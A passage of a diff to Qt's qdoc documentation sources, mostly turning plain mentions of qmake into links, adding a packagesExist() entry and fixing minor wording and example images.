+ value of this variable is typically handled by \l {qmake}{ \c qmake}or
\l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
\section1 QMAKE_LIBS_RTMT
@@ -2676,7 +2678,7 @@
This variable contains the runtime library needed to link against when
building a multi-threaded application. The
- value of this variable is typically handled by \c qmake or
+ value of this variable is typically handled by \l {qmake}{ \c qmake}or
\l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
\section1 QMAKE_LIBS_THREAD
@@ -2685,7 +2687,7 @@
This variable contains all libraries that need to be linked against
when building a multi-threaded application. The
- value of this variable is typically handled by \c qmake or
+ value of this variable is typically handled by \l {qmake}{ \c qmake}or
\l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
\section1 QMAKE_LIBS_WINDOWS
@@ -2693,7 +2695,7 @@
\e {This is used on Windows only.}
This variable contains all windows libraries.The value of this
- variable is typically handled by \c qmake or
+ variable is typically handled by \l {qmake}{ \c qmake}or
\l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
\section1 QMAKE_LIBS_X11
@@ -2701,7 +2703,7 @@
\e {This is used on Unix platforms only.}
This variable contains all X11 libraries.The value of this
- variable is typically handled by \c qmake or
+ variable is typically handled by \l {qmake}{ \c qmake}or
\l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
\section1 QMAKE_LIBS_X11SM
@@ -2709,20 +2711,20 @@
\e {This is used on Unix platforms only.}
This variable contains all X11 session management libraries. The
- value of this variable is typically handled by \c qmake or
+ value of this variable is typically handled by \l {qmake}{ \c qmake}or
\l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
\section1 QMAKE_LIB_FLAG
This variable is not empty if the \c lib template is specified. The
- value of this variable is typically handled by \c qmake or
+ value of this variable is typically handled by \l {qmake}{ \c qmake}or
\l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
\section1 QMAKE_LINK_SHLIB_CMD
This variable contains the command to execute when creating a
shared library. The
- value of this variable is typically handled by \c qmake or
+ value of this variable is typically handled by \l {qmake}{ \c qmake}or
\l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
\section1 QMAKE_LN_SHLIB
@@ -2752,7 +2754,8 @@
This variable determines the name of the project when generating project
files for IDEs. The default value is the target name. The value of this
- variable is typically handled by \c qmake and rarely needs to be modified.
+ variable is typically handled by \l {qmake}{ \c qmake} and rarely needs
+ to be modified.
\section1 QMAKE_MAC_SDK
@@ -2772,26 +2775,26 @@
\section1 QMAKE_MAKEFILE
This variable contains the name of the Makefile to create. The
- value of this variable is typically handled by \c qmake or
+ value of this variable is typically handled by \l {qmake}{ \c qmake}or
\l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
\section1 QMAKE_MOC_SRC
This variable contains the names of all moc source files to
generate and include in the project. The value of this variable is
- typically handled by \c qmake or
+ typically handled by \l {qmake}{ \c qmake}or
\l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
\section1 QMAKE_QMAKE
This variable contains the location of qmake if it is not in the path.
- The value of this variable is typically handled by \c qmake or
+ The value of this variable is typically handled by \l {qmake}{ \c qmake}or
\l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
\section1 QMAKE_QT_DLL
This variable is not empty if Qt was built as a dll. The
- value of this variable is typically handled by \c qmake or
+ value of this variable is typically handled by \l {qmake}{ \c qmake}or
\l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
\section1 QMAKE_RESOURCE_FLAGS
@@ -2821,37 +2824,37 @@
\section1 QMAKE_RUN_CC
This variable specifies the individual rule needed to build an object.
- The value of this variable is typically handled by \c qmake or
+ The value of this variable is typically handled by \l {qmake}{ \c qmake}or
\l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
\section1 QMAKE_RUN_CC_IMP
This variable specifies the individual rule needed to build an object.
- The value of this variable is typically handled by \c qmake or
+ The value of this variable is typically handled by \l {qmake}{ \c qmake}or
\l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
\section1 QMAKE_RUN_CXX
This variable specifies the individual rule needed to build an object.
- The value of this variable is typically handled by \c qmake or
+ The value of this variable is typically handled by \l {qmake}{ \c qmake}or
\l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
\section1 QMAKE_RUN_CXX_IMP
This variable specifies the individual rule needed to build an object.
- The value of this variable is typically handled by \c qmake or
+ The value of this variable is typically handled by \l {qmake}{ \c qmake}or
\l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
\section1 QMAKE_TARGET
This variable contains the name of the project target. The value of
- this variable is typically handled by \c qmake or
+ this variable is typically handled by \l {qmake}{ \c qmake}or
\l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
\section1 QMAKE_UIC
This variable contains the location of uic if it is not in the path.
- The value of this variable is typically handled by \c qmake or
+ The value of this variable is typically handled by \l {qmake}{ \c qmake}or
\l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
It can be used to specify arguments to uic as well, such as additional plugin
@@ -2924,7 +2927,7 @@
\section1 RC_FILE
This variable contains the name of the resource file for the application.
- The value of this variable is typically handled by \c qmake or
+ The value of this variable is typically handled by \l {qmake}{ \c qmake}or
\l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
\target RCC_DIR
@@ -2957,7 +2960,7 @@
\section1 RES_FILE
This variable contains the name of the resource file for the application.
- The value of this variable is typically handled by \c qmake or
+ The value of this variable is typically handled by \l {qmake}{ \c qmake}or
\l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
\target RSS_RULES
@@ -3048,10 +3051,10 @@
\section1 SRCMOC
- This variable is set by \c qmake if files can be found that
+ This variable is set by \l {qmake}{ \c qmake}if files can be found that
contain the Q_OBJECT macro. \c SRCMOC contains the
name of all the generated moc files. The value of this variable
- is typically handled by \c qmake or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be
+ is typically handled by \l {qmake}{ \c qmake}or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be
modified.
\target SUBDIRS
@@ -3067,7 +3070,7 @@
\snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 50
It is essential that the project file in each subdirectory has the same
- name as the subdirectory itself, so that \c qmake can find it.
+ name as the subdirectory itself, so that \l {qmake}{ \c qmake}can find it.
For example, if the subdirectory is called \c myapp then the project file
in that directory should be called \c myapp.pro.
@@ -3199,19 +3202,19 @@
\section1 TARGET_EXT
This variable specifies the target's extension. The value of this variable
- is typically handled by \c qmake or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be
+ is typically handled by \l {qmake}{ \c qmake}or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be
modified.
\section1 TARGET_x
This variable specifies the target's extension with a major version number. The value of this variable
- is typically handled by \c qmake or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be
+ is typically handled by \l {qmake}{ \c qmake}or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be
modified.
\section1 TARGET_x.y.z
This variable specifies the target's extension with version number. The value of this variable
- is typically handled by \c qmake or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be
+ is typically handled by \l {qmake}{ \c qmake}or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be
modified.
\target TEMPLATE
@@ -3259,14 +3262,14 @@
This variable contains a list of the generated implementation files by UIC.
The value of this variable
- is typically handled by \c qmake or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be
+ is typically handled by \l {qmake}{ \c qmake}or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be
modified.
\section1 UICOBJECTS
This variable is generated from the UICIMPLS variable. The extension of each
file will have been replaced by .o (Unix) or .obj (Win32). The value of this variable is
- typically handled by \c qmake or \l{#QMAKESPEC}{qmake.conf} and
+ typically handled by \l {qmake}{ \c qmake}or \l{#QMAKESPEC}{qmake.conf} and
rarely needs to be modified.
\target UI_DIR
@@ -3328,8 +3331,8 @@
\section1 VPATH
- This variable tells \c qmake where to search for files it cannot
- open. With this you may tell \c qmake where it may look for things
+ This variable tells \l {qmake}{ \c qmake}where to search for files it cannot
+ open. With this you may tell \l {qmake}{ \c qmake}where it may look for things
like SOURCES, and if it finds an entry in SOURCES that cannot be
opened it will look through the entire VPATH list to see if it can
find the file on its own.
@@ -3339,13 +3342,13 @@
\section1 YACCIMPLS
This variable contains a list of yacc source files. The value of
- this variable is typically handled by \c qmake or
+ this variable is typically handled by \l {qmake}{ \c qmake}or
\l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
\section1 YACCOBJECTS
This variable contains a list of yacc object files. The value of
- this variable is typically handled by \c qmake or
+ this variable is typically handled by \l {qmake}{ \c qmake}or
\l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
\target YACCSOURCES
@@ -3386,7 +3389,7 @@
\previouspage qmake Variable Reference
\nextpage Configuring qmake's Environment
- \c qmake provides built-in functions to allow the contents of
+ \l {qmake}{ \c qmake}provides built-in functions to allow the contents of
variables to be processed, and to enable tests to be performed
during the configuration process. Functions that process the
contents of variables typically return values that can be assigned
@@ -3397,6 +3400,19 @@
\tableofcontents{2}
+ \section1 packagesExist(packages)
+
+ Uses the PKGCONFIG mechanism to determine whether or not the given packages
+ exist at the time of project parsing.
+
+ This can be useful to optionally enable or disable features. For example:
+
+ \snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 157
+
+ And then, in the code:
+
+ \snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 158
+
\section1 basename(variablename)
Returns the basename of the file specified. For example:
@@ -3457,7 +3473,7 @@
\section1 error(string)
- This function never returns a value. \c qmake displays the given
+ This function never returns a value. \l {qmake}{ \c qmake}displays the given
\e string to the user, and exits. This function should only be used
for unrecoverable errors.
@@ -3533,7 +3549,7 @@
\section1 infile(filename, var, val)
[Conditional]
- Succeeds if the file \e filename (when parsed by \c qmake itself)
+ Succeeds if the file \e filename (when parsed by \l {qmake}{ \c qmake}itself)
contains the variable \e var with a value of \e val; otherwise fails.
If you do not specify a third argument (\e val), the function will
only test whether \e var has been declared in the file.
@@ -3590,10 +3606,7 @@
\section1 quote(string)
Converts a whole \e string into a single entity and returns the result.
- Newlines, carriage returns, and tabs can be specified in the string
- with \\n \\r and \\t. The return value does not contain either single
- or double quotation marks unless you explicitly include them yourself,
- but will be placed into a single entry (for literal expansion).
+ This is just a fancy way of enclosing the string into double quotes.
\section1 replace(string, old_string, new_string)
@@ -3655,7 +3668,7 @@
\target Properties
\section1 Properties
- \c qmake has a system of persistent information, this allows you to
+ \l {qmake}{ \c qmake}has a system of persistent information, this allows you to
\c set a variable in qmake once, and each time qmake is invoked this
value can be queried. Use the following to set a property in qmake:
@@ -3677,19 +3690,19 @@
version of \c qmake, and newer versions will retrieve this value. However,
if you set \c VARIABLE for a newer version of \c qmake, the older version
will not use this value. You can however query a specific version of a
- variable if you prefix that version of \c qmake to \c VARIABLE, as in
+ variable if you prefix that version of \l {qmake}{ \c qmake}to \c VARIABLE, as in
the following example:
\snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 76
- \c qmake also has the notion of \c builtin properties, for example you can
- query the installation of Qt for this version of \c qmake with the
+ \l {qmake}{ \c qmake}also has the notion of \c builtin properties, for example you can
+ query the installation of Qt for this version of \l {qmake}{ \c qmake}with the
\c QT_INSTALL_PREFIX property:
\snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 77
These built-in properties cannot have a version prefixed to them as
- they are not versioned, and each version of \c qmake will have its own
+ they are not versioned, and each version of \l {qmake}{ \c qmake}will have its own
built-in set of these values. The list below outlines the built-in
properties:
@@ -3707,7 +3720,7 @@
\target QMAKESPEC
\section1 QMAKESPEC
- \c qmake requires a platform and compiler description file which
+ \l {qmake}{ \c qmake}requires a platform and compiler description file which
contains many default values used to generate appropriate Makefiles.
The standard Qt distribution comes with many of these files, located
in the \c mkspecs subdirectory of the Qt installation.
@@ -3716,8 +3729,8 @@
\list
\o A complete path to a directory containing a \c{qmake.conf} file.
- In this case \c qmake will open the \c{qmake.conf} file from within that
- directory. If the file does not exist, \c qmake will exit with an
+ In this case \l {qmake}{ \c qmake}will open the \c{qmake.conf} file from within that
+ directory. If the file does not exist, \l {qmake}{ \c qmake}will exit with an
error.
\o The name of a platform-compiler combination. In this case, \c qmake
will search in the directory specified by the \c mkspecs subdirectory
@@ -3733,14 +3746,14 @@
It is common on Unix to also use the build tool to install applications
and libraries; for example, by invoking \c{make install}. For this reason,
- \c qmake has the concept of an install set, an object which contains
+ \l {qmake}{ \c qmake}has the concept of an install set, an object which contains
instructions about the way part of a project is to be installed.
For example, a collection of documentation files can be described in the
following way:
\snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 79
- The \c path member informs \c qmake that the files should be installed in
+ The \c path member informs \l {qmake}{ \c qmake}that the files should be installed in
\c /usr/local/program/doc (the path member), and the \c files member
specifies the files that should be copied to the installation directory.
In this case, everything in the \c docs directory will be coped to
@@ -3751,10 +3764,10 @@
\snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 80
- \c qmake will ensure that the specified files are copied to the installation
+ \l {qmake}{ \c qmake}will ensure that the specified files are copied to the installation
directory. If you require greater control over this process, you can also
provide a definition for the \c extra member of the object. For example,
- the following line tells \c qmake to execute a series of commands for this
+ the following line tells \l {qmake}{ \c qmake}to execute a series of commands for this
install set:
\snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 81
@@ -3769,21 +3782,21 @@
in the other members of the object are performed.
If you append a built-in install set to the \c INSTALLS variable and do
- not specify \c files or \c extra members, \c qmake will decide what needs to
+ not specify \c files or \c extra members, \l {qmake}{ \c qmake}will decide what needs to
be copied for you. Currently, the only supported built-in install set is
\c target:
\snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 82
- In the above lines, \c qmake knows what needs to be copied, and will handle
+ In the above lines, \l {qmake}{ \c qmake}knows what needs to be copied, and will handle
the installation process automatically.
\target cache
\section1 Cache File
- The cache file is a special file \c qmake reads to find settings not specified
+ The cache file is a special file \l {qmake}{ \c qmake}reads to find settings not specified
in the \c qmake.conf file, project files, or at the command line. If
- \c -nocache is not specified when \c qmake is run, it will try to find a file
+ \c -nocache is not specified when \l {qmake}{ \c qmake}is run, it will try to find a file
called \c{.qmake.cache} in parent directories of the current directory. If
it fails to find this file, it will silently ignore this step of processing.
@@ -3793,7 +3806,7 @@
\target LibDepend
\section1 Library Dependencies
- Often when linking against a library, \c qmake relies on the underlying
+ Often when linking against a library, \l {qmake}{ \c qmake}relies on the underlying
platform to know what other libraries this library links against, and
lets the platform pull them in. In many cases, however, this is not
sufficent. For example, when statically linking a library, no other
@@ -3805,19 +3818,19 @@
this behavior must be explicitly enabled by following two steps.
The first step is to enable dependency tracking in the library itself.
- To do this you must tell \c qmake to save information about the library:
+ To do this you must tell \l {qmake}{ \c qmake}to save information about the library:
\snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 83
This is only relevant to the \c lib template, and will be ignored for
- all others. When this option is enabled, \c qmake will create a file
+ all others. When this option is enabled, \l {qmake}{ \c qmake}will create a file
ending in .prl which will save some meta-information about the
library. This metafile is just like an ordinary project file, but only
contains internal variable declarations. You are free to view this file
- and, if it is deleted, \c qmake will know to recreate it when necessary,
+ and, if it is deleted, \l {qmake}{ \c qmake}will know to recreate it when necessary,
either when the project file is later read, or if a dependent library
(described below) has changed. When installing this library, by
- specifying it as a target in an \c INSTALLS declaration, \c qmake will
+ specifying it as a target in an \c INSTALLS declaration, \l {qmake}{ \c qmake}will
automatically copy the .prl file to the installation path.
The second step in this process is to enable reading of this meta
@@ -3825,11 +3838,11 @@
\snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 84
- When this is enabled, \c qmake will process all libraries linked to
- by the application and find their meta-information. \c qmake will use
+ When this is enabled, \l {qmake}{ \c qmake}will process all libraries linked to
+ by the application and find their meta-information. \l {qmake}{ \c qmake}will use
this to determine the relevant linking information, specifically adding
values to the application project file's list of \c DEFINES as well as
- \c LIBS. Once \c qmake has processed this file, it will then look through
+ \c LIBS. Once \l {qmake}{ \c qmake}has processed this file, it will then look through
the newly introduced libraries in the \c LIBS variable, and find their
dependent .prl files, continuing until all libraries have been resolved.
At this point, the Makefile is created as usual, and the libraries are
@@ -3843,9 +3856,9 @@
\target Extensions
\section1 File Extensions
- Under normal circumstances \c qmake will try to use appropriate file extensions
+ Under normal circumstances \l {qmake}{ \c qmake}will try to use appropriate file extensions
for your platform. However, it is sometimes necessary to override the default
- choices for each platform and explicitly define file extensions for \c qmake to use.
+ choices for each platform and explicitly define file extensions for \l {qmake}{ \c qmake}to use.
This is achieved by redefining certain built-in variables; for example the extension
used for \l moc files can be redefined with the following assignment in a project
file:
@@ -3871,19 +3884,19 @@
accept a list of values:
\list
- \o QMAKE_EXT_CPP - Causes \c qmake to interpret all files with these suffixes as
+ \o QMAKE_EXT_CPP - Causes \l {qmake}{ \c qmake}to interpret all files with these suffixes as
C++ source files.
- \o QMAKE_EXT_H - Causes \c qmake to interpret all files with these suffixes as
+ \o QMAKE_EXT_H - Causes \l {qmake}{ \c qmake}to interpret all files with these suffixes as
C and C++ header files.
\endlist
\target Customizing
\section1 Customizing Makefile Output
- \c qmake tries to do everything expected of a cross-platform build tool.
+ \l {qmake}{ \c qmake}tries to do everything expected of a cross-platform build tool.
This is often less than ideal when you really need to run special
platform-dependent commands. This can be achieved with specific instructions
- to the different \c qmake backends.
+ to the different \l {qmake}{ \c qmake}backends.
Customization of the Makefile output is performed through an object-style
API as found in other places in \c qmake. Objects are defined automatically
@@ -3891,14 +3904,14 @@
\snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 86
- The definitions above define a \c qmake target called \c mytarget, containing
+ The definitions above define a \l {qmake}{ \c qmake}target called \c mytarget, containing
a Makefile target called \c{.buildfile} which in turn is generated with
the \c touch command. Finally, the \c{.depends} member specifies that
\c mytarget depends on \c mytarget2, another target that is defined afterwards.
\c mytarget2 is a dummy target; it is only defined to echo some text to
the console.
- The final step is to instruct \c qmake that this object is a target to be built:
+ The final step is to instruct \l {qmake}{ \c qmake}that this object is a target to be built:
\snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 87
@@ -3961,7 +3974,7 @@
\c NEW_HEADERS variable (from the \c input member), and the result is written
to the file defined by the \c output member; this file is added to the
other source files in the project.
- Additionally, \c qmake will execute \c depend_command to generate dependency
+ Additionally, \l {qmake}{ \c qmake}will execute \c depend_command to generate dependency
information, and place this information in the project as well.
These commands can easily be placed into a cache file, allowing subsequent
@@ -4085,9 +4098,9 @@
\previouspage qmake Platform Notes
\nextpage Using Precompiled Headers
- Many \c qmake project files simply describe the sources and header files used
+ Many \l {qmake}{ \c qmake}project files simply describe the sources and header files used
by the project, using a list of \c{name = value} and \c{name += value}
- definitions. \c qmake also provides other operators, functions, and scopes
+ definitions. \l {qmake}{ \c qmake}also provides other operators, functions, and scopes
that can be used to process the information supplied in variable declarations.
These advanced features allow Makefiles to be generated for multiple platforms
from a single project file.
@@ -4099,7 +4112,7 @@
In many project files, the assignment (\c{=}) and append (\c{+=}) operators can
be used to include all the information about a project. The typical pattern of
use is to assign a list of values to a variable, and append more values
- depending on the result of various tests. Since \c qmake defines certain
+ depending on the result of various tests. Since \l {qmake}{ \c qmake}defines certain
variables using default values, it is sometimes necessary to use the removal
(\c{-=}) operator to filter out values that are not required. The following
operators can be used to manipulate the contents of variables.
@@ -4175,8 +4188,8 @@
\snippet doc/src/snippets/qmake/scopes.pro 0
The above code will add the \c paintwidget_win.cpp file to the sources listed
- in the generated Makefile if \c qmake is used on a Windows platform.
- If \c qmake is used on a platform other than Windows, the define will be
+ in the generated Makefile if \l {qmake}{ \c qmake}is used on a Windows platform.
+ If \l {qmake}{ \c qmake}is used on a platform other than Windows, the define will be
ignored.
The conditions used in a given scope can also be negated to provide an
@@ -4271,9 +4284,9 @@
\section1 Variables
Many of the variables used in project files are special variables that
- \c qmake uses when generating Makefiles, such as \c DEFINES, \c SOURCES,
+ \l {qmake}{ \c qmake}uses when generating Makefiles, such as \c DEFINES, \c SOURCES,
and \c HEADERS. It is possible for you to create variables for your own
- use; \c qmake creates new variables with a given name when it encounters
+ use; \l {qmake}{ \c qmake}creates new variables with a given name when it encounters
an assignment to that name. For example:
\snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 97
@@ -4300,10 +4313,10 @@
\snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 100
Variables can be used to store the contents of environment variables.
- These can be evaluated at the time that \c qmake is run, or included
+ These can be evaluated at the time that \l {qmake}{ \c qmake}is run, or included
in the generated Makefile for evaluation when the project is built.
- To obtain the contents of an environment value when \c qmake is run,
+ To obtain the contents of an environment value when \l {qmake}{ \c qmake}is run,
use the \c $$(...) operator:
\snippet doc/src/snippets/qmake/environment.pro 0
@@ -4337,7 +4350,7 @@
\target VariableProcessingFunctions
\section1 Variable Processing Functions
- \c qmake provides a selection of built-in functions to allow the
+ \l {qmake}{ \c qmake}provides a selection of built-in functions to allow the
contents of variables to be processed. These functions process the
arguments supplied to them and return a value, or list of values, as
a result. In order to assign a result to a variable, it is necessary
@@ -4365,7 +4378,7 @@
\target ConditionalFunctions
\section1 Conditional Functions
- \c qmake provides built-in functions that can be used as conditions
+ \l {qmake}{ \c qmake}provides built-in functions that can be used as conditions
when writing scopes. These functions do not return a value, but
instead indicate "success" or "failure":
@@ -4382,12 +4395,12 @@
\section1 Adding New Configuration Features
- \c qmake lets you create your own \e features that can be included in
+ \l {qmake}{ \c qmake}lets you create your own \e features that can be included in
project files by adding their names to the list of values specified by
the \c CONFIG variable. Features are collections of custom functions and
definitions in \c{.prf} files that can reside in one of many standard
directories. The locations of these directories are defined in a number
- of places, and \c qmake checks each of them in the following order when
+ of places, and \l {qmake}{ \c qmake}checks each of them in the following order when
it looks for \c{.prf} files:
\list 1
@@ -4424,7 +4437,7 @@
\snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 103
- With this addition to the \c CONFIG variable, \c qmake will search the
+ With this addition to the \c CONFIG variable, \l {qmake}{ \c qmake}will search the
locations listed above for the \c myfeatures.prf file after it has
finished parsing your project file. On Unix systems, it will look for
the following file:
@@ -4467,7 +4480,7 @@
specified file. Each subsequent compilation is faster because the
stable code does not need to be recompiled.
- \c qmake supports the use of precompiled headers (PCH) on some
+ \l {qmake}{ \c qmake}supports the use of precompiled headers (PCH) on some
platforms and build environments, including:
\list
\o Windows
@@ -4513,9 +4526,9 @@
\snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 105
- \c qmake will handle the rest, to ensure the creation and use of the
+ \l {qmake}{ \c qmake}will handle the rest, to ensure the creation and use of the
precompiled header file. You do not need to include the precompiled
- header file in \c HEADERS, as \c qmake will do this if the configuration
+ header file in \c HEADERS, as \l {qmake}{ \c qmake}will do this if the configuration
supports PCH.
All platforms that support precompiled headers have the configuration
@@ -4581,7 +4594,7 @@
\nextpage qmake Common Projects
This tutorial teaches you how to use \c qmake. We recommend that
- you read the \c qmake user guide after completing this tutorial.
+ you read the \l {qmake}{ \c qmake}user guide after completing this tutorial.
\section1 Starting off Simple
@@ -4599,7 +4612,7 @@
the application is that it's written in Qt. First, using your favorite
plain text editor, create a file called \c hello.pro in
\c{examples/qmake/tutorial}. The first thing you need to do is add the
- lines that tell \c qmake about the source and header files that are part
+ lines that tell \l {qmake}{ \c qmake}about the source and header files that are part
of your development project.
We'll add the source files to the project file first. To do this you
@@ -4639,7 +4652,7 @@
The final step is to set the \l{qmake Variable Reference#CONFIG}{CONFIG}
variable. Since this is a Qt application, we need to put \c qt on the
- \c CONFIG line so that \c qmake will add the relevant libraries to be
+ \c CONFIG line so that \l {qmake}{ \c qmake}will add the relevant libraries to be
linked against and ensure that build lines for \c moc and \c uic are
included in the generated Makefile.
@@ -4647,14 +4660,14 @@
\snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 113
- You can now use \c qmake to generate a Makefile for your application.
+ You can now use \l {qmake}{ \c qmake}to generate a Makefile for your application.
On the command line, in your project's directory, type the following:
\snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 114
Then type \c make or \c nmake depending on the compiler you use.
- For Visual Studio users, \c qmake can also generate \c .dsp or
+ For Visual Studio users, \l {qmake}{ \c qmake}can also generate \c .dsp or
\c .vcproj files, for example:
\snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 115
@@ -4671,7 +4684,7 @@
\snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 116
- Use \c qmake as before to generate a Makefile and you will be able to
+ Use \l {qmake}{ \c qmake}as before to generate a Makefile and you will be able to
obtain useful information about your application when running it in
a debugging environment.
@@ -4684,15 +4697,15 @@
hellounix.cpp. We can't just add these to the \c SOURCES
variable since this will put both files in the Makefile. So, what we
need to do here is to use a scope which will be processed depending on
- which platform \c qmake is run on.
+ which platform \l {qmake}{ \c qmake}is run on.
A simple scope that will add in the platform-dependent file for
Windows looks like this:
\snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 117
- So if \c qmake is run on Windows, it will add \c hellowin.cpp to the
- list of source files. If \c qmake is run on any other platform, it
+ So if \l {qmake}{ \c qmake}is run on Windows, it will add \c hellowin.cpp to the
+ list of source files. If \l {qmake}{ \c qmake}is run on any other platform, it
will simply ignore it. Now all that is left to be done is to create a
scope for the Unix-specific file.
@@ -4701,13 +4714,13 @@
\snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 118
- Use \c qmake as before to generate a Makefile.
+ Use \l {qmake}{ \c qmake}as before to generate a Makefile.
\section1 Stopping qmake If a File Doesn't Exist
You may not want to create a Makefile if a certain file doesn't exist.
We can check if a file exists by using the exists() function. We can
- stop \c qmake from processing by using the error() function. This
+ stop \l {qmake}{ \c qmake}from processing by using the error() function. This
works in the same way as scopes do. Simply replace the scope condition
with the function. A check for a \c main.cpp file looks like this:
@@ -4719,8 +4732,8 @@
\snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 120
- Use \c qmake as before to generate a makefile. If you rename \c
- main.cpp temporarily, you will see the message and \c qmake will stop
+ Use \l {qmake}{ \c qmake}as before to generate a makefile. If you rename \c
+ main.cpp temporarily, you will see the message and \l {qmake}{ \c qmake}will stop
processing.
\section1 Checking for More than One Condition
@@ -4754,7 +4767,7 @@
\previouspage qmake Tutorial
\nextpage Using qmake
- This chapter describes how to set up \c qmake project files for three
+ This chapter describes how to set up \l {qmake}{ \c qmake}project files for three
common project types that are based on Qt. Although all kinds of
projects use many of the same variables, each of them use project-specific
variables to customize output files.
@@ -4773,7 +4786,7 @@
\section2 The app Template
- The \c app template tells \c qmake to generate a Makefile that will build
+ The \c app template tells \l {qmake}{ \c qmake}to generate a Makefile that will build
an application. With this template, the type of application can be specified
by adding one of the following options to the \c CONFIG variable definition:
@@ -4784,7 +4797,7 @@
application.
\endtable
- When using this template the following \c qmake system variables are recognized.
+ When using this template the following \l {qmake}{ \c qmake}system variables are recognized.
You should use these in your .pro file to specify information about your
application.
@@ -4810,7 +4823,7 @@
You only need to use the system variables that you have values for,
for instance, if you do not have any extra INCLUDEPATHs then you do not
- need to specify any, \c qmake will add in the default ones needed.
+ need to specify any, \l {qmake}{ \c qmake}will add in the default ones needed.
For instance, an example project file might look like this:
\snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 123
@@ -4826,7 +4839,7 @@
\section2 The lib Template
- The \c lib template tells \c qmake to generate a Makefile that will
+ The \c lib template tells \l {qmake}{ \c qmake}to generate a Makefile that will
build a library. When using this template, in addition to the system variables
mentioned above for the \c app template the \c VERSION variable is
supported. You should use these in your .pro file to specify
@@ -4857,7 +4870,7 @@
\section1 Building a Plugin
Plugins are built using the \c lib template, as described in the previous
- section. This tells \c qmake to generate a Makefile for the project that will
+ section. This tells \l {qmake}{ \c qmake}to generate a Makefile for the project that will
build a plugin in a suitable form for each platform, usually in the form of a
library. As with ordinary libraries, the \c VERSION variable is used to specify
information about the plugin.
@@ -4895,7 +4908,7 @@
ensure that the resulting targets have different names. Providing different
names for targets ensures that one will not overwrite the other.
- When \c qmake processes the project file, it will generate a Makefile rule
+ When \l {qmake}{ \c qmake}processes the project file, it will generate a Makefile rule
to allow the project to be built in both modes. This can be invoked in the
following way:
diff --git a/doc/src/development/qtestlib.qdoc b/doc/src/development/qtestlib.qdoc
index 34429ae..8924bdb 100644
--- a/doc/src/development/qtestlib.qdoc
+++ b/doc/src/development/qtestlib.qdoc
@@ -130,7 +130,7 @@
\snippet doc/src/snippets/code/doc_src_qtestlib.qdoc 1
- If you are using other buildtools, make sure that you add the location
+ If you are using other build tools, make sure that you add the location
of the QTestLib header files to your include path (usually \c{include/QtTest}
under your Qt installation directory). If you are using a release build
of Qt, link your test to the \c QtTest library. For debug builds, use
diff --git a/doc/src/examples/audiodevices.qdoc b/doc/src/examples/audiodevices.qdoc
index b812968..fd56e38 100644
--- a/doc/src/examples/audiodevices.qdoc
+++ b/doc/src/examples/audiodevices.qdoc
@@ -32,6 +32,8 @@
The Audio Devices example demonstrates the basic use of QAudioDeviceInfo class
provided with Qt.
+ \image audiodevices-example.png
+
Qt provides the QAudioDeviceInfo class to enable audio querying within
a standard application user interface.
diff --git a/doc/src/examples/audioinput.qdoc b/doc/src/examples/audioinput.qdoc
index 7ca01a5..44b480f 100644
--- a/doc/src/examples/audioinput.qdoc
+++ b/doc/src/examples/audioinput.qdoc
@@ -32,6 +32,8 @@
The Audio Input example demonstrates the basic use of QAudioInput class
provided with Qt.
+ \image audioinput-example.png
+
Qt provides the QAudioInput class to enable audio functionality within
a standard application user interface.
diff --git a/doc/src/examples/audiooutput.qdoc b/doc/src/examples/audiooutput.qdoc
index 358c404..1703883 100644
--- a/doc/src/examples/audiooutput.qdoc
+++ b/doc/src/examples/audiooutput.qdoc
@@ -32,6 +32,8 @@
The Audio Output example demonstrates the basic use of the QAudioOutput class
provided with Qt.
